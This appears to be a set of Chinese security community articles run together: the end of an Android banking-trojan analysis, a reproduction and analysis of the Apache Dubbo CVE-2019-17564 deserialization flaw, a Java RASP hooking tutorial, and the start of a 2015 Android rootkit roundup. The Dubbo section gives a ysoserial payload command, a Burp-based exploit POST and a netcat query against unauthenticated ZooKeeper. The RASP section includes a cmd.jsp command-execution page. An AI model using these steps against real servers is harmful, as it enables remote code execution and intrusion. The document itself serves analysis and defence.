遍历用户手机应用，检查是否有内置指定的银行类 APP，有的话，从 C&C 服务器下载对应的银行木马 APP（见图22）。
图22 遍历受害用户手机应用
如果用户手机存在指定的银行类 APP，则从 C&C 服务器下载对应的银行木马 APP（见图23）。
图23 从 C&C 服务器下载指定的银行木马 APP
表4为恶意木马内置的要伪装的银行类 APP 包名
表4 恶意木马要伪装的银行类 APP 包名
银行类恶意木马 APP 下载完成后，会弹出提示框，诱使用户更新（见图24）。
图24 诱使用户安装下载到的银行类木马
银行类恶意木马运行后，会卸载掉受害用户原来合法的银行类 APP（见图25）。
图25 下载下来的木马偷梁换柱
##### 4.7 传播
该恶意木马通过向受害用户的通讯录联系人发送钓鱼信息来传播（见图26）。
图26 该恶意木马的传播途径
#### 5、总结及建议
虽然该恶意木马是针对韩国用户，但也不排除后续针对其他国家实施攻击的可能。用户除了对热门的 APP 下载和更新不能大意外， 对系统自带的 APP
的更新也应保持警惕。建议用户不要轻易点击短信中的不明链接，不要安装不明来源的 APP。对申请可疑权限尤其是短信读写、打电话以及需要激活设备管理器的 APP
要特别留意，涉及到金钱的操作要格外谨慎。遇到操作异常，应当及时使用杀毒软件查杀或找专人处理。目前互联网上也充斥着形形色色的第三方 APP
下载站点，很多甚至成了恶意应用的批发集散地。用户应特别留意不要轻易地在一些下载站点下载 APP，尽量从官网下载所需 APP
应用，在不得不从第三方下载站点下载软件时，要保持高度警惕，认真甄别，防止误下恶意应用，给自己造成不必要的麻烦和损失。
* * *
**启明星辰积极防御实验室（ADLab）**
ADLab成立于1999年，是中国安全行业最早成立的攻防技术研究实验室之一，微软MAPP计划核心成员。截止目前，ADLab通过CVE发布Windows、Linux、Unix等操作系统安全或软件漏洞近300个，持续保持亚洲领先并确立了其在国际网络安全领域的核心地位。实验室研究方向涵盖操作系统与应用系统安全研究、移动智能终端安全研究、物联网智能设备安全研究、Web安全研究、工控系统安全研究、云安全研究。研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。
* * * | 社区文章 |
# CVE-2019-17564 Apache Dubbo Http 反序列化漏洞深入分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
上一篇文章勉强算是把Shiro反序列化漏洞分析了一遍。
由于本人是一个初学者，也没啥学习方法，只能多看几个漏洞的分析过程了。
今天周末，来分析一下Dubbo框架的RCE漏洞。
也许看多了，量变引发质变，也就会自己分析了吧。
## Dubbo简介
官网: <https://dubbo.apache.org/zh-cn/>
Apache Dubbo
是一个基于Java的高性能，轻量级的RPC框架。Dubbo提供了三个关键功能，包括基于接口的远程呼叫，容错和负载平衡以及自动服务注册和发现。
功能列表：【基于透明接口的RPC、智能负载均衡、自动服务注册和发现、高扩展性、运行时流量路由、可视化服务治理】
GitHub： <https://github.com/apache/dubbo>
Dubbo支持Dubbo、RMI、Hessian、HTTP、WebService、Thrift、Native
Thrift、Memcached、Redis、Rest、JsonRPC、XmlRPC、JmsRpc等协议，官方推荐使用Dubbo协议。
## 漏洞描述
在启用HTTP远程处理的Dubbo应用程序中发生不安全的反序列化。如果此实例启用了HTTP，则攻击者可能会提交其中包含Java对象的POST请求，以完全破坏Apache
Dubbo的Provider实例。
Dubbo HTTP实例尝试对Java ObjectStream中的数据进行反序列化，该Java
ObjectStream包含一组恶意类，通常称为小工具链，其调用会导致执行恶意代码。在这种情况下，有问题的恶意代码允许使用任意OS命令。
## 影响范围
2.7.0 <= Apache Dubbo <= 2.7.4.1
2.6.0 <= Apache Dubbo <= 2.6.7
Apache Dubbo = 2.5.x
此漏洞仅影响启用Dubbo提供的http协议的用户
## 漏洞环境搭建
搭建Dubbo环境之前，需要先启动依赖环境`zookeeper`。
为什么用`zookeeper`？
因为官方推荐使用`zookeeper`
`zookeeper`是什么？
`zookeeper`是注册中心，提供服务注册和发现功能。
详见： [Zookeeper 注册中心](https://dubbo.apache.org/zh-cn/docs/user/references/registry/introduction.html)
### `zookeeper`环境搭建
下载：
<http://archive.apache.org/dist/zookeeper/zookeeper-3.3.3/zookeeper-3.3.3.tar.gz>
解压：windows系统利用安装的解压软件直接解压。
配置：[官方配置文档](https://dubbo.apache.org/zh-cn/docs/admin/install/zookeeper.html)
在根目录新建文件夹`data`
重命名文件`zookeeper-3.3.3\conf\zoo_sample.cfg`为`zookeeper-3.3.3\conf\zoo.cfg`
修改文件`zookeeper-3.3.3\conf\zoo.cfg`中`dataDir=/export/crawlspace/mahadev/zookeeper/server1/data`为`dataDir=刚新建的data目录的绝对路径`
运行： Windows系统双击 `zookeeper-3.3.3\bin\zkServer.cmd`
看到如下内容，启动成功。绑定本地端口2181
·
2020-09-04 16:16:47,110 - INFO [main:ZooKeeperServerMain@94] - Starting server
·
·
2020-09-04 16:16:51,675 - INFO [main:ZooKeeperServer@663] - tickTime set to 2000
2020-09-04 16:16:51,686 - INFO [main:ZooKeeperServer@672] - minSessionTimeout set to -1
2020-09-04 16:16:51,687 - INFO [main:ZooKeeperServer@681] - maxSessionTimeout set to -1
2020-09-04 16:16:51,988 - INFO [main:NIOServerCnxn$Factory@143] - binding to port 0.0.0.0/0.0.0.0:2181
2020-09-04 16:16:52,004 - INFO [main:FileTxnSnapLog@208] - Snapshotting: 0
### Dubbo环境搭建
#### 下载和配置
下载：<https://github.com/apache/dubbo-samples>
由于只有http协议受影响，所以提取出http协议部分。`dubbo-samples-master\java\dubbo-samples-http`
配置：
修改`dubbo-samples-http\poc.xml`配置
1. 改为受影响版本，这里使用2.7.3
<dubbo.version>2.7.7</dubbo.version>
改为
<dubbo.version>2.7.3</dubbo.version>
2. 加入一个恶意的GadGets，比如：commons-collections-4
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
修改`dubbo-samples-http\src\main\resources\spring\http-provider.xml`配置
<dubbo:application name="http-provider"/>
// 确认zookeeper的IP和端口
<dubbo:registry address="zookeeper://${zookeeper.address:127.0.0.1}:2181"/>
// 配置dubbo的端口和ip，添加host字段，值为本机IP
<dubbo:protocol name="http" id="http" host="192.168.1.3" port="${servlet.port:8080}" server="${servlet.container:tomcat}"/>
<bean id="demoService" class="org.apache.dubbo.samples.http.impl.DemoServiceImpl"/>
<dubbo:service interface="org.apache.dubbo.samples.http.api.DemoService" ref="demoService" protocol="http"/>
#### 导入idea
英文版IDEA: File->New->Project from existing resources ->选择目录”dubbo-samples-http”里面的pom.xml
中文版IDEA: 文件->New->项目从现有源->选择目录”dubbo-samples-http”里面的pom.xml
这时候就开始下载`Maven`项目的依赖了，一般会很慢。更换国内`Maven`源下载依赖会快很多，参考下面文章。
#### 启动
找到路径`\dubbo-samples-http\src\main\java\org\apache\dubbo\samples\http\HttpProvider.java`，右键->运行(U)
‘HttpProvider.main()’
看到如下内容，表示启动成功：
[04/09/20 05:45:14:014 CST] main INFO zookeeper.ZookeeperRegistry: [DUBBO] Load registry cache file ···
[04/09/20 05:45:14:014 CST] main INFO zookeeper.ZookeeperTransporter: [DUBBO] find valid zookeeper ····
[04/09/20 05:45:14:014 CST] main INFO zookeeper.ZookeeperRegistry: [DUBBO] Register: http://192.168.186.1:8080/org.apache.dubbo.samples.http.api.DemoService?······
[04/09/20 05:45:14:014 CST] main INFO zookeeper.ZookeeperRegistry: [DUBBO] Subscribe:····
[04/09/20 05:45:14:014 CST] main INFO zookeeper.ZookeeperRegistry: [DUBBO] Notify urls for ····
dubbo service started
## 漏洞分析
根据网上的资料，在`org.apache.dubbo.remoting.http.servlet.DispatcherServlet#service:43`处设置断点。
接着利用burp发送paylaod，来到断点处。
然后按F7开始调试。首先来到`org.apache.dubbo.rpc.protocol.http.HttpProtocol.InternalHandler#handle`方法内。
169：获取请求路径
170：实例化HttpInvokerServiceExporter方法，并传递请求路径。
174：设置请求的地址和端口，并初始化。
接着，来到`org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter#handleRequest`方法内。
29 ：读远程调用
`org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter#readRemoteInvocation(javax.servlet.http.HttpServletRequest,
java.io.InputStream)`
最终，来到`org.springframework.remoting.rmi.RemoteInvocationSerializingExporter#doReadRemoteInvocation`方法内
68：反序列化读取对象，没有进行安全验证，从而触发反序列化漏洞执行任意代码。
堆栈
doReadRemoteInvocation:144, RemoteInvocationSerializingExporter (org.springframework.remoting.rmi)
readRemoteInvocation:121, HttpInvokerServiceExporter (org.springframework.remoting.httpinvoker)
readRemoteInvocation:100, HttpInvokerServiceExporter (org.springframework.remoting.httpinvoker)
handleRequest:79, HttpInvokerServiceExporter (org.springframework.remoting.httpinvoker)
handle:216, HttpProtocol$InternalHandler (org.apache.dubbo.rpc.protocol.http)
service:61, DispatcherServlet (org.apache.dubbo.remoting.http.servlet)
service:790, HttpServlet (javax.servlet.http)
internalDoFilter:231, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:198, StandardWrapperValve (org.apache.catalina.core)
invoke:96, StandardContextValve (org.apache.catalina.core)
invoke:496, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:140, StandardHostValve (org.apache.catalina.core)
invoke:81, ErrorReportValve (org.apache.catalina.valves)
invoke:87, StandardEngineValve (org.apache.catalina.core)
service:342, CoyoteAdapter (org.apache.catalina.connector)
service:803, Http11Processor (org.apache.coyote.http11)
process:66, AbstractProcessorLight (org.apache.coyote)
process:790, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1468, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)
## 漏洞复现
### payload生成
ysoserial.jar工具直接下载GitHub地址 <https://gitter.im/frohoff/ysoserial>
`java -jar ysoserial.jar CommonsCollections4 calc > calc.ser`
### 发包
浏览器访问HTTP协议接口路径（参考`target/classes/spring/http-provider.xml`文件中的配置）
`http://192.168.186.1:8080/org.apache.dubbo.samples.http.api.DemoService`，抓取请求包。
发送到burp的重放模块，请求方式改为`POST`，数据体用`Paste from file`选项选择刚才的paylaod文件`calc.ser`
点击`Go`即可出发漏洞执行`calc`命令
## 识别及利用
虽然这个漏洞复现起来挺简单的，但是，在实际渗透测试中使用却存在两个难点：
1. 不能确定目标Dubbo是否使用http协议。
2. 无法确定接口路径。
那么问题来了，黑盒情况下如何获取这些信息？
我首先想到拿我本地复现时的默认接口路径去尝试，经过一番fofa、shodan尝试，随即否定了。
我们回过头来分析一下，接口信息是写在`http-provider.xml`配置中的，如下，配置的最后一行：
<beans xmlns:xsi="http://www.w3.org/2001/XMLSchema-i·······">
<context:property-placeholder/>
<dubbo:application name="http-provider"/>
<dubbo:registry address="zookeeper://${zookeeper.address:127.0.0.1}:2181"/>
<dubbo:protocol name="http" id="http" host="192.168.186.1" port="${servlet.port:8080}" server="${servlet.container:tomcat}"/>
<bean id="demoService" class="org.apache.dubbo.samples.http.impl.DemoServiceImpl"/>
<dubbo:service interface="org.apache.dubbo.samples.http.api.DemoService" ref="demoService" protocol="http"/>
</beans>
同时，Dubbo又跟zookeeper有交互。
虽然我们不能直接查看`http-provider.xml`配置文件，但是zookeeper默认情况下，存在未授权访问漏洞。正好可以利用这个漏洞来查看接口路径，同时也解决了Dubbo所使用的协议的问题。
kali@kali:~$ echo dump | nc 192.168.186.1 2181
SessionTracker dump:
Session Sets (3):
0 expire at Sun Sep 06 15:32:44 CST 2020:
0 expire at Sun Sep 06 15:32:56 CST 2020:
1 expire at Sun Sep 06 15:33:10 CST 2020:
0x1745a82ab030007
ephemeral nodes dump:
Sessions with Ephemerals (1):
0x1745a82ab030007:
/dubbo/org.apache.dubbo.samples.http.api.DemoService/providers/http%3A%2F%2F192.168.186.1%3A8080%2Forg.apache.dubbo.samples.http.api.DemoService%3Fanyhost%3Dfalse%26application%3Dhttp-provider%26bean.name%3Dorg.apache.dubbo.samples.http.api.DemoService%26deprecated%3Dfalse%26dubbo%3D2.0.2%26dynamic%3Dtrue%26generic%3Dfalse%26interface%3Dorg.apache.dubbo.samples.http.api.DemoService%26methods%3DsayHello%26pid%3D4988%26register%3Dtrue%26release%3D2.7.3%26server%3Dtomcat%26side%3Dprovider%26timestamp%3D1599374218648
当然，还有其他情况，期待大佬补充。
## 修复及防御方案
### 修复
第一种、 最简单的，就是升级到不受影响版本，具体升级步骤参考官方文档。
<https://github.com/apache/dubbo/releases/tag/dubbo-2.7.5>
第二种、 禁用http协议，使用其他Dubbo支持协议。
修改`http-provider.xml`配置文件：
<dubbo:protocol name="准备使用的协议" id="http" host="192.168.186.1" port="${servlet.port:8080}" server="${servlet.container:tomcat}"/>
具体详情参考官方协议配置文档。
### 防御方案
下面分析一下漏洞利用过程中的数据交互，以期找到其特征，从而有针对性的识别攻击。
在虚拟机中，用python写了个脚本，来利用此漏洞。
通过Wireshark抓包，如下：
不过，现在市面上的大多数WAF都添加了此漏洞的特征。
## 参考
* [【CVE-2019-17564】 Apache Dubbo反序列化漏洞-Pony Mail](https://lists.apache.org/thread.html/r13f7a58fa5d61d729e538a378687118e00c3e229903ba1e7b3a807a2%40%3Cdev.dubbo.apache.org%3E)
* [Apache Dubbo官网](https://dubbo.apache.org/zh-cn/index.html)
* [Apache Dubbo反序列化漏洞（CVE-2019-17564） – 冬泳怪鸽 – 博客园](https://www.cnblogs.com/zaqzzz/p/12443794.html)
* [Zookeeper未授权访问测试](https://www.cnblogs.com/Hi-blog/p/Zookeeper-UnAuthorization-Access.html) | 社区文章 |
[toc]
## 概述
本篇主要讲了简易版RASP实现，所有的环境都可以参考前一篇文章《[浅谈RASP技术攻防之实战[环境配置篇]](https://xz.aliyun.com/t/4902)》，再次说明，本文只起到抛砖引玉的作用，仅供参考，文笔不好，大家轻拍。关于其中涉及到的ASM等知识，大家可以来我的博客[[Sky's自留地](https://www.03sec.com)]进行查找相关的文章，笔者目前就职于《安百科技》，欢迎大家一起来探讨RASP攻防技术。
> 浅谈RASP技术攻防之实战[环境配置篇] 和
> 浅谈RASP技术攻防之实战[代码实现篇]中的代码已经上传到github，地址为：[java_rasp_example](https://github.com/iiiusky/java_rasp_example)
关于 ASM 中不同类不同方法之间的关系图如下
## 简易版RASP实现
### 创建入口类
在`cn.org.javaweb.agent`包下新建一个类。
内容如下：
/*
* Copyright sky 2019-04-03 Email:[email protected].
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package cn.org.javaweb.agent;
import java.lang.instrument.Instrumentation;
/**
* @author sky
*/
public class Agent {
public static void premain(String agentArgs, Instrumentation inst) {
inst.addTransformer(new AgentTransform());
}
}
### 创建Transform
然后我们再新建一个`AgentTransform`类，该类需要实现`ClassFileTransformer`的方法，内容如下:
/*
* Copyright sky 2019-04-03 Email:[email protected].
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package cn.org.javaweb.agent;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
/**
* @author sky
*/
public class AgentTransform implements ClassFileTransformer {
/**
* @param loader
* @param className
* @param classBeingRedefined
* @param protectionDomain
* @param classfileBuffer
* @return
* @throws IllegalClassFormatException
*/
@Override
public byte[] transform(ClassLoader loader, String className,
Class<?> classBeingRedefined, ProtectionDomain protectionDomain,
byte[] classfileBuffer) throws IllegalClassFormatException {
className = className.replace("/", ".");
System.out.println("Load class:" + className);
return classfileBuffer;
}
}
### build Agent配置
点击右上角的`agent[clean,intall]`进行build。
由上图可见我们的包的位置为
/Volumes/Data/code/work/JavawebAgent/agent/target/agent.jar
将改包的位置记录下来，然后点开tomcat配置(这边没有对idea如何配置tomcat进行讲解，不会的可以自行百度|谷歌)
在VM options处填写以下内容：
-Dfile.encoding=UTF-8
-noverify
-Xbootclasspath/p:/Volumes/Data/code/work/JavawebAgent/agent/target/agent.jar
-javaagent:/Volumes/Data/code/work/JavawebAgent/agent/target/agent.jar
其中`/Volumes/Data/code/work/JavawebAgent/agent/target/agent.jar`的路径为你在上一步编译出来的agent的路径，注意替换。
这时候我们在启动tomcat，就可以看到我们在`AgentTransform`中写的打印包名已经生效了，如下图:
上图红框区域为tomcat启动的时候加载的所有类名。然后我们打开浏览器查看web是否正常。
可以看到web也正常启动了。
### 创建ClassVisitor类
然后我们新建一个TestClassVisitor类，需要继承ClassVisitor类并且实现Opcodes类，代码如下
/*
* Copyright sky 2019-04-03 Email:[email protected].
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package cn.org.javaweb.agent;
import org.objectweb.asm.ClassVisitor;
import org.objectweb.asm.MethodVisitor;
import org.objectweb.asm.Opcodes;
/**
* @author sky
*/
public class TestClassVisitor extends ClassVisitor implements Opcodes {
public TestClassVisitor(ClassVisitor cv) {
super(Opcodes.ASM5, cv);
}
@Override
public MethodVisitor visitMethod(int access, String name, String desc, String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, desc, signature, exceptions);
System.out.println(name + "方法的描述符是：" + desc);
return mv;
}
}
### 对ProcessBuilder（命令执行）类进行hook用户执行的命令
#### 使用transform对类名进行过滤
然后回到`AgentTransform`中，对`transform`方法的内容进行修改，transform方法代码如下：
public byte[] transform(ClassLoader loader, String className,
Class<?> classBeingRedefined, ProtectionDomain protectionDomain,
byte[] classfileBuffer) throws IllegalClassFormatException {
className = className.replace("/", ".");
try {
if (className.contains("ProcessBuilder")) {
System.out.println("Load class: " + className);
ClassReader classReader = new ClassReader(classfileBuffer);
ClassWriter classWriter = new ClassWriter(classReader, ClassWriter.COMPUTE_MAXS);
ClassVisitor classVisitor = new TestClassVisitor(classWriter);
classReader.accept(classVisitor, ClassReader.EXPAND_FRAMES);
classfileBuffer = classWriter.toByteArray();
}
} catch (Exception e) {
e.printStackTrace();
}
return classfileBuffer;
}
简单介绍一下代码块内容
首先判断类名是否包含`ProcessBuilder`,如果包含则使用`ClassReader`对字节码进行读取，然后新建一个`ClassWriter`进行对`ClassReader`读取的字节码进行拼接，然后在新建一个我们自定义的`ClassVisitor`对类的触发事件进行hook，在然后调用`classReader`的`accept`方法,最后给`classfileBuffer`重新赋值修改后的字节码。
可能看起来比较绕，但是如果学会使用以后就比较好理解了。
#### 创建测试环境
我们在tomcat中新建一个jsp，用来调用命令执行，代码如下：
<%@ page import="java.io.InputStream" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<pre>
<%
Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
InputStream in = process.getInputStream();
int a = 0;
byte[] b = new byte[1024];
while ((a = in.read(b)) != -1) {
out.println(new String(b, 0, a));
}
in.close();
%>
</pre>
可以看到就是一个简单的执行命令的代码;下面我们对就此更改过的内容进行build，看一下会输出点什么。
biuld完成，启动tomcat。
访问
http://localhost:8080/cmd.jsp?cmd=whoami
可以看到已经成功执行命令，我们回到idea里面的控制台看一下输出了什么。
通过上图可以完整的看到一个执行命令所调用的所有调用链。
Load class: java.lang.ProcessBuilder
<init>方法的描述符是：(Ljava/util/List;)V
<init>方法的描述符是：([Ljava/lang/String;)V
command方法的描述符是：(Ljava/util/List;)Ljava/lang/ProcessBuilder;
command方法的描述符是：([Ljava/lang/String;)Ljava/lang/ProcessBuilder;
command方法的描述符是：()Ljava/util/List;
environment方法的描述符是：()Ljava/util/Map;
environment方法的描述符是：([Ljava/lang/String;)Ljava/lang/ProcessBuilder;
directory方法的描述符是：()Ljava/io/File;
directory方法的描述符是：(Ljava/io/File;)Ljava/lang/ProcessBuilder;
redirects方法的描述符是：()[Ljava/lang/ProcessBuilder$Redirect;
redirectInput方法的描述符是：(Ljava/lang/ProcessBuilder$Redirect;)Ljava/lang/ProcessBuilder;
redirectOutput方法的描述符是：(Ljava/lang/ProcessBuilder$Redirect;)Ljava/lang/ProcessBuilder;
redirectError方法的描述符是：(Ljava/lang/ProcessBuilder$Redirect;)Ljava/lang/ProcessBuilder;
redirectInput方法的描述符是：(Ljava/io/File;)Ljava/lang/ProcessBuilder;
redirectOutput方法的描述符是：(Ljava/io/File;)Ljava/lang/ProcessBuilder;
redirectError方法的描述符是：(Ljava/io/File;)Ljava/lang/ProcessBuilder;
redirectInput方法的描述符是：()Ljava/lang/ProcessBuilder$Redirect;
redirectOutput方法的描述符是：()Ljava/lang/ProcessBuilder$Redirect;
redirectError方法的描述符是：()Ljava/lang/ProcessBuilder$Redirect;
inheritIO方法的描述符是：()Ljava/lang/ProcessBuilder;
redirectErrorStream方法的描述符是：()Z
redirectErrorStream方法的描述符是：(Z)Ljava/lang/ProcessBuilder;
start方法的描述符是：()Ljava/lang/Process;
<clinit>方法的描述符是：()V
Load class: java.lang.ProcessBuilder$NullInputStream
<init>方法的描述符是：()V
read方法的描述符是：()I
available方法的描述符是：()I
<clinit>方法的描述符是：()V
Load class: java.lang.ProcessBuilder$NullOutputStream
<init>方法的描述符是：()V
write方法的描述符是：(I)V
<clinit>方法的描述符是：()V
#### 拿到用户所执行的命令
接下来我们看看尝试一下能否拿到所执行的命令
新建一个名为`ProcessBuilderHook`的类，然后在类中新建一个名字为`start`的静态方法，完整代码如下：
/*
* Copyright sky 2019-04-04 Email:[email protected].
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package cn.org.javaweb.agent;
import java.util.Arrays;
import java.util.List;
/**
* @author sky
*/
public class ProcessBuilderHook {
public static void start(List<String> commands) {
String[] commandArr = commands.toArray(new String[commands.size()]);
System.out.println(Arrays.toString(commandArr));
}
}
这个方法干啥用的我们一会在说，先看下面。
#### 复写visitMethod方法
打开`TestClassVisitor`，对`visitMethod`方法进行更改。具体代码如下：
@Override
public MethodVisitor visitMethod(int access, String name, String desc, String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, desc, signature, exceptions);
if ("start".equals(name) && "()Ljava/lang/Process;".equals(desc)) {
System.out.println(name + "方法的描述符是：" + desc);
return new AdviceAdapter(Opcodes.ASM5, mv, access, name, desc) {
@Override
public void visitCode() {
mv.visitVarInsn(ALOAD, 0);
mv.visitFieldInsn(GETFIELD, "java/lang/ProcessBuilder", "command", "Ljava/util/List;");
mv.visitMethodInsn(INVOKESTATIC, "cn/org/javaweb/agent/ProcessBuilderHook", "start", "(Ljava/util/List;)V", false);
super.visitCode();
}
};
}
return mv;
}
给大家解释下新增加的代码，从if判断开始
判断传入进来的 _方法名_ 是否为`start`以及 _方法描述符_
是否为`()Ljava/lang/Process;`,如果是的话就新建一个`AdviceAdapter`方法，并且复写`visitCode`方法，对其字节码进行修改，
mv.visitVarInsn(ALOAD, 0);
拿到栈顶上的`this`
mv.visitFieldInsn(GETFIELD, "java/lang/ProcessBuilder", "command", "Ljava/util/List;");
拿到`this`里面的`command`
mv.visitMethodInsn(INVOKESTATIC, "cn/org/javaweb/agent/ProcessBuilderHook", "start", "(Ljava/util/List;)V", false);
然后调用我们上面新建的`ProcessBuilderHook`类中的`start`方法,将上面拿到的`this.command`压入我们方法。
`ProcessBuilderHook`类的作用就是让这部分进行调用，然后转移就可以转入到我们的逻辑代码了。
我们再次编译一下，然后启动tomcat，访问`cmd.jsp`看看.
#### 测试hook用户执行的命令参数是否拿到
访问
http://localhost:8080/cmd.jsp?cmd=ls%20-la
可以看到已经将当前目录下的内容打印了出来。
我们到idea中看看控制台输出了什么。
可以看到我们输入的命令
[whoami]
已经输出出来了，到此为止，我们拿到了要执行的命令.
## 总结
对于拿到要执行的命令以后怎么做，是需要拦截还是替换还是告警，这边就需要大家自己去实现了。当然，如果要实现拦截功能，还需要注意要获取当前请求中的的response，不然无法对response进行复写，也无法对其进行拦截。这边给大家提供一个思路，对应拦截功能，大家可以去hook请求相关的类，然后在危险hook点结合http请求上下文进行拦截请求。
对于其他攻击点的拦截，可以参考百度开源的[OpenRasp](https://rasp.baidu.com/doc/hacking/architect/hook.html#java-server)进行编写hook点。
如需在Java中实现RASP技术，笔者建议好好了解一下ASM，这样对以后JAVA的运行机制也会有一定的了解，方便以后调试以及写代码。
## 参考
* <https://rasp.baidu.com/doc/hacking/architect/hook.html#java-server>
* <https://github.com/anbai-inc/javaweb-codereview>
* <https://static.javadoc.io/org.ow2.asm/asm/5.2/org/objectweb/asm/ClassReader.html>
* <http://www.blogjava.net/vanadies10/archive/2011/02/23/344899.html>
* <http://www.blogjava.net/DLevin/archive/2014/06/25/414292.html> | 社区文章 |
# 盘点2015年度10大安卓手机系统级病毒
|
##### 译文声明
本文是翻译文章，文章来源：360安全卫士
译文仅供参考，具体内容表达以及含义原文为准。
随着移动端Android系统安全软件对APP应用层查杀能力趋于成熟以及Google对Android安全性的重视，病毒与反病毒的主战场已逐渐从APP层扩展到Linux系统层。相对于APP应用层病毒，系统底层病毒更容易隐藏自己，也更容易对抗安全软件，其危害性更大，更不容易查杀。而且病毒作者也开始把PC端的病毒自我保护手段移植到移动端上，在手机端大量使用了免杀、加密、隐藏、反虚拟机、感染等传统PC端病毒的自我保护技术。
但是病毒始终是要暴露出行为，只要暴露行为就有办法找到查杀方法。并且病毒传播总也需要途径，因此，360安全中心给出以下几条建议：不要下载安装不受信任的软件；不要随便找个刷机网站就开始刷机；中了新型的病毒及时向360安全中心反馈，以免遭受更大的损失。
2015年，360互联网安全中心平均每天截获新安卓系统底层病毒上万个，全年感染用户量超过400万人次。这一年，360互联网安全中心发现了多种传播迅速并且对手机危害极大的系统底层病毒，极具代表性的有“蜥蜴之尾”、“百脑虫”、“万蓝”以及新版“权限杀手”等。此类病毒主要通过内置ROM、恶意应用进行疯狂传播。经过分析后，360互联网安全中心盘点了2015年度最为流行的10大手机Android系统底层病毒。
[](http://image.3001.net/images/20160218/14557796924234.jpg)
图1 2015年度10大手机底层病毒感染量总览图
## TOP 1——“百脑虫”木马
感染用户：119.5万
危险指数:★★★★★
威胁：推广APP、订阅扣费服务、关闭安全软件、难卸载、反虚拟机
详细分析地址：<http://blogs.360.cn/360mobile/2016/01/06/analysis_of_bainaochong/>
病毒简介：
百脑虫病毒于2015年下半年开始爆发，期间，360移动安全中心不断收到用户反馈：手机出现莫名下载安装其他应用以及自动订阅扣费业务等问题。
百脑虫病毒主要在一些第三方电子市场或某些色情类网站进行疯狂传播。该病毒方便被不同APK打包调用，再加上嵌入的主要是一些热门应用，因此传播迅速，感染量已超百万。当病毒感染手机后，会根据不同的手机系统进行提权并阻止其他软件获取root权限，病毒还会检测运行环境以保护自己。受感染的手机会出现自动安装APP、自动订阅扣费服务等症状，手机还原出厂设置也无法解决问题。
[](http://image.3001.net/images/20160218/14557797244604.jpg)
图2 嵌入百脑虫病毒的色情类应用
[](http://image.3001.net/images/20160218/14557797482398.jpg)
图3 嵌入百脑虫病毒的非官方应用
评级理由：涉及“百脑虫”木马的应用种类众多，包含色情类应用、高人气应用等。一旦用户抵挡不住非法网站发布的色情类应用的诱惑或安全意识薄弱通过非官网下载高人气应用都可能被中招。“百脑虫”木马的扣费逻辑实现模块在云端，通过云端策略不定时下发到被感染机器，达到实时更新扣费模块、隐藏恶意罪行、长期可持续扣费的目的。
## TOP 2——“蜥蜴之尾”木马
感染用户：95.6万
危险指数:★★★★★
威胁：感染系统库文件、替换系统文件、注入系统进程、窃取用户信息、监听通话与短信、订阅扣费服务
详细分析地址：<http://blogs.360.cn/360mobile/2015/11/16/analysis_of_fakedebuggerd_d/>
病毒简介：
“蜥蜴之尾”木马是“长老木马”三代的进化版。主要恶意行为由三代的推广APP演变为监听电话短信、订阅SP扣费服务等。据有些用户反馈，单月扣费金额达数百元。
下图为360互联网安全中心病毒分析人员与受感染用户聊天的部分记录。
[](http://image.3001.net/images/20160218/14557797823859.jpg)
图4 与感染用户的部分聊天记录
下图为感染用户向用户反馈的未经用户许可订阅的收费服务清单。
[](http://image.3001.net/images/20160218/14557797946427.jpg)
图5 实际感染用户反馈的收费服务清单截图
评级理由：“蜥蜴之尾”木马当之无愧是可以衡量2015年度手机底层病毒技术发展水平的最为典型的木马。该木马的核心技术突破及威胁体现在以下方面。
技术方面：
1. 对抗安全软件：在移动安全领域首次采用了静态感染技术，感染系统运行依赖的库文件，加大了查杀难度。此外，还采用相似文件路径欺骗法、 样本MD5自变化等传统PC端的病毒技术。
